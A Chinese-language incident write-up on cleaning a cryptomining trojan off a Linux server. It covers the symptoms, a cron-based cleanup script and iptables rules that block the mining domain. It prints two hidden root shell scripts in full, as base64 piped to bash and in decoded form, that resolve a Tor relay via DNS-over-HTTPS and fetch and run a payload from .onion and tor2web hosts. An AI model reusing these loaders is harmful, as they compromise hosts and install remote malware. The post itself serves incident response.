记一次Linux挖矿木马清除

现象

CPU监控爆满至100%
查进程发现：
1.谜之六字木马

2.定时任务异常

3.hosts异常

4.root家目录两个隐藏文件

cat /root/.ucxin.sh
#!/bin/bash
exec &>/dev/null
echo ucxin.sh
echo ZXhlYyAmPi9kZXYvbnVsbApleHBvcnQgUEFUSD0kUEFUSDovYmluOi9zYmluOi91c3IvYmluOi91c3Ivc2JpbjovdXNyL2xvY2FsL2JpbjovdXNyL2xvY2FsL3NiaW4KCmQ9JChncmVwIHg6JChpZCAtdSk6IC9ldGMvcGFzc3dkfGN1dCAtZDogLWY2KQpjPSQoZWNobyAiY3VybCAtNGZzU0xrQS0gLW0yMDAiKQp0PSQoZWNobyAibWF6ZWNsbWhiYWN1Y3hpbiIpCgpzb2NreigpIHsKcD0kKGVjaG8gImRucy1xdWVyeT9uYW1lPXJlbGF5LnRvcjJzb2Nrcy5pbiIpCnM9JCgoJGMgaHR0cHM6Ly9kb2guY2VudHJhbGV1LnBpLWRucy5jb20vJHAgfHwKICAgICAkYyBodHRwczovL2Rucy50d25pYy50dy8kcCB8fAogICAgICRjIGh0dHBzOi8vZG5zLnJ1YnlmaXNoLmNuLyRwIHx8CiAgICAgJGMgaHR0cHM6Ly9kb2guZG5zLnNiLyRwIDsgaG9zdCAtVyA1IHJlbGF5LnRvcjJzb2Nrcy5pbnxhd2sgeydwcmludCAkTkYnfSlcCiAgICAgfCBncmVwIC1vRSAiXGIoWzAtOV17MSwzfVwuKXszfVswLTldezEsM31cYiIgfHRyICcgJyAnXG4nfHNvcnQgLXVSfGhlYWQgLTEgKQp9CgpmZXhlKCkgewpmb3IgaSBpbiAkZCAvdG1wIC92YXIvdG1wIC9kZXYvc2htIC91c3IvYmluIDtkbyBlY2hvIGV4aXQgPiAkaS9pICYmIGNobW9kICt4ICRpL2kgJiYgY2QgJGkgJiYgLi9pICYmIHJtIC1mIGkgJiYgYnJlYWs7ZG9uZQp9Cgp1KCkgewpzb2NregpmZXhlCmY9L2ludC4kKHVuYW1lIC1tKQp4PS4vJChkYXRlfG1kNXN1bXxjdXQgLWYxIC1kLSkKJGMgLXggc29ja3M1aDovLyRzOjkwNTAgJHQub25pb24kZiAtbyR4IHx8ICRjICQxJGYgLW8keApjaG1vZCAreCAkeDskeDtybSAtZiAkeAp9Cgpmb3IgaCBpbiB0b3Iyd2ViLmluIHRvcjJ3ZWIuaW8gdG9yMndlYi50byB0b3Iyd2ViLnN1CmRvCmlmICEgbHMgL3Byb2MvJChoZWFkIC0xIC90bXAvLlgxMS11bml4LzAwKS9pbzsgdGhlbgp1ICR0LiRoCmVsc2UKYnJlYWsKZmkKZG9uZQo=|base64 -d|bash

 cat /root/.unixdb.sh
#!/bin/bash
exec &>/dev/null
echo yyANhZDFOs31F9WgqOovurruEMT3Z+v82MG0m9elafh8GU1+u4/78NZoKz2rA7O2
echo eXlBTmhaREZPczMxRjlXZ3FPb3Z1cnJ1RU1UM1ordjgyTUcwbTllbGFmaDhHVTErdTQvNzhOWm9LejJyQTdPMgpleGVjICY+L2Rldi9udWxsCmV4cG9ydCBQQVRIPSRQQVRIOiRIT01FOi9iaW46L3NiaW46L3Vzci9iaW46L3Vzci9zYmluOi91c3IvbG9jYWwvYmluOi91c3IvbG9jYWwvc2JpbgoKZD0kKGdyZXAgeDokKGlkIC11KTogL2V0Yy9wYXNzd2R8Y3V0IC1kOiAtZjYpCmM9JChlY2hvICJjdXJsIC00ZnNTTGtBLSAtbTIwMCIpCnQ9JChlY2hvICJ1bml4ZGJudWFkeG13dG9iIikKCnNvY2t6KCkgewpuPShkbnMudHduaWMudHcgZG9oLmNlbnRyYWxldS5waS1kbnMuY29tIGRvaC5kbnMuc2IgZG9oLWZpLmJsYWhkbnMuY29tIGZpLmRvaC5kbnMuc25vcHl0YS5vcmcgdW5jZW5zb3JlZC5hbnkuZG5zLm5peG5ldC54eXopCnA9JChlY2hvICJkbnMtcXVlcnk/bmFtZT1yZWxheS50b3Iyc29ja3MuaW4iKQpzPSQoJGMgaHR0cHM6Ly8ke25bJCgoUkFORE9NJTUpKV19LyRwIHwgZ3JlcCAtb0UgIlxiKFswLTldezEsM31cLil7M31bMC05XXsxLDN9XGIiIHx0ciAnICcgJ1xuJ3xzb3J0IC11UnxoZWFkIC0xKQp9CgpmZXhlKCkgewpmb3IgaSBpbiAkZCAvdG1wIC92YXIvdG1wIC9kZXYvc2htIC91c3IvYmluIDtkbyBlY2hvIGV4aXQgPiAkaS9pICYmIGNobW9kICt4ICRpL2kgJiYgY2QgJGkgJiYgLi9pICYmIHJtIC1mIGkgJiYgYnJlYWs7ZG9uZQp9Cgp1KCkgewpzb2NregpmZXhlCmY9L2ludC4kKHVuYW1lIC1tKQp4PS4vJChkYXRlfG1kNXN1bXxjdXQgLWYxIC1kLSkKJGMgLXggc29ja3M1aDovLyRzOjkwNTAgJHQub25pb24kZiAtbyR4IHx8ICRjICQxJGYgLW8keApjaG1vZCAreCAkeDskeDtybSAtZiAkeAp9Cgpmb3IgaCBpbiB0b3Iyd2ViLmluIHRvcjJ3ZWIuY2ggdG9yMndlYi5pbyB0b3Iyd2ViLnRvIHRvcjJ3ZWIuc3UKZG8KaWYgISBscyAvcHJvYy8kKGhlYWQgLTEgL3RtcC8uWDExLXVuaXgvMDApL3N0YXR1czsgdGhlbgp1ICR0LiRoCmVsc2UKYnJlYWsKZmkKZG9uZQo=|base64 -d|bash

5.解码

exec &>/dev/null
export PATH=$PATH:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin

d=$(grep x:$(id -u): /etc/passwd|cut -d: -f6)
c=$(echo "curl -4fsSLkA- -m200")
t=$(echo "mazeclmhbacucxin")

sockz() {
p=$(echo "dns-query?name=relay.tor2socks.in")
s=$(($c https://doh.centraleu.pi-dns.com/$p ||
     $c https://dns.twnic.tw/$p ||
     $c https://dns.rubyfish.cn/$p ||
     $c https://doh.dns.sb/$p ; host -W 5 relay.tor2socks.in|awk {'print $NF'})\
     | grep -oE "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b" |tr ' ' '\n'|sort -uR|head -1 )
}

fexe() {
for i in $d /tmp /var/tmp /dev/shm /usr/bin ;do echo exit > $i/i && chmod +x $i/i && cd $i && ./i && rm -f i && break;done
}

u() {
sockz
fexe
f=/int.$(uname -m)
x=./$(date|md5sum|cut -f1 -d-)
$c -x socks5h://$s:9050 $t.onion$f -o$x || $c $1$f -o$x
chmod +x $x;$x;rm -f $x
}

for h in tor2web.in tor2web.io tor2web.to tor2web.su
do
if ! ls /proc/$(head -1 /tmp/.X11-unix/00)/io; then
u $t.$h
else
break
fi
Done

yyANhZDFOs31F9WgqOovurruEMT3Z+v82MG0m9elafh8GU1+u4/78NZoKz2rA7O2
exec &>/dev/null
export PATH=$PATH:$HOME:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin

d=$(grep x:$(id -u): /etc/passwd|cut -d: -f6)
c=$(echo "curl -4fsSLkA- -m200")
t=$(echo "unixdbnuadxmwtob")

sockz() {
n=(dns.twnic.tw doh.centraleu.pi-dns.com doh.dns.sb doh-fi.blahdns.com fi.doh.dns.snopyta.org uncensored.any.dns.nixnet.xyz)
p=$(echo "dns-query?name=relay.tor2socks.in")
s=$($c https://${n[$((RANDOM%5))]}/$p | grep -oE "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b" |tr ' ' '\n'|sort -uR|head -1)
}

fexe() {
for i in $d /tmp /var/tmp /dev/shm /usr/bin ;do echo exit > $i/i && chmod +x $i/i && cd $i && ./i && rm -f i && break;done
}

u() {
sockz
fexe
f=/int.$(uname -m)
x=./$(date|md5sum|cut -f1 -d-)
$c -x socks5h://$s:9050 $t.onion$f -o$x || $c $1$f -o$x
chmod +x $x;$x;rm -f $x
}

for h in tor2web.in tor2web.ch tor2web.io tor2web.to tor2web.su
do
if ! ls /proc/$(head -1 /tmp/.X11-unix/00)/status; then
u $t.$h
else
break
fi
done

6.进程号、名称总是更改，且发现相关占用文件

解决

封堵

yum install -y iptables

iptables -A OUTPUT -m string --string "cim8.f.dedikuoti.lt" --algo bm --to 65535 -j DROP
iptables -A OUTPUT -m string --string "dedikuoti.lt" --algo bm --to 65535 -j DROP
iptables -A OUTPUT -p tcp -d cim8.f.dedikuoti.lt --dport 1:65535 -j DROP
iptables -A OUTPUT -p udp -d cim8.f.dedikuoti.lt --dport 1:65535 -j DROP

后发现谜之进程，正在通过本地多端口ssh连接其他节点

遂即发现木马又回来了，故编写脚本定时删文件、杀进程，结合iptables

crontab -u root -l
*/5 * * * * /bin/sh /root/mumashanchu.sh

#!/bin/bash

if [ -f "/root/.unixdb.sh" ];then
chattr -i /root/.unixdb.sh
rm -rf /root/.unixdb.sh
sed -i "/.unixdb.sh/d"  /var/spool/cron/root
else
echo "unixdb none"
fi

if [ -f "/root/.ucxin.sh" ];then
chattr -i /root/.ucxin.sh
rm -rf /root/.ucxin.sh
sed -i "/.ucxin.sh/d"  /var/spool/cron/root
else
echo "ucxin none"
fi

a=` ps -aux --sort=-%cpu | head -3 | grep -n "tracepath" | awk '{print $2}' `
## echo $a
if [ ! $a ];then
echo "tracepath none"
else
/usr/bin/kill -9 $a
fi

iptables -L
Chain INPUT (policy ACCEPT)
target     prot opt source               destination
ACCEPT     all  --  anywhere             anywhere             state RELATED,ESTABLISHED
ACCEPT     icmp --  anywhere             anywhere
ACCEPT     all  --  anywhere             anywhere
ACCEPT     tcp  --  anywhere             anywhere             state NEW tcp dpt:ssh
REJECT     all  --  anywhere             anywhere             reject-with icmp-host-prohibited

Chain FORWARD (policy ACCEPT)
target     prot opt source               destination
REJECT     all  --  anywhere             anywhere             reject-with icmp-host-prohibited

Chain OUTPUT (policy ACCEPT)
target     prot opt source               destination
DROP       tcp  --  anywhere             cim8.f.dedikuoti.lt  tcp spts:tcpmux:65535
DROP       udp  --  anywhere             cim8.f.dedikuoti.lt  udp spts:tcpmux:65535
DROP       all  --  anywhere             anywhere             STRING match  "cim8.f.dedikuoti.lt" ALGO name bm TO 65535
DROP       all  --  anywhere             anywhere             STRING match  "dedikuoti.lt" ALGO name bm TO 65535
DROP       tcp  --  192.168.0.0/16       anywhere             tcp dpts:tcpmux:65535
DROP       udp  --  192.168.0.0/16       anywhere             udp dpts:tcpmux:65535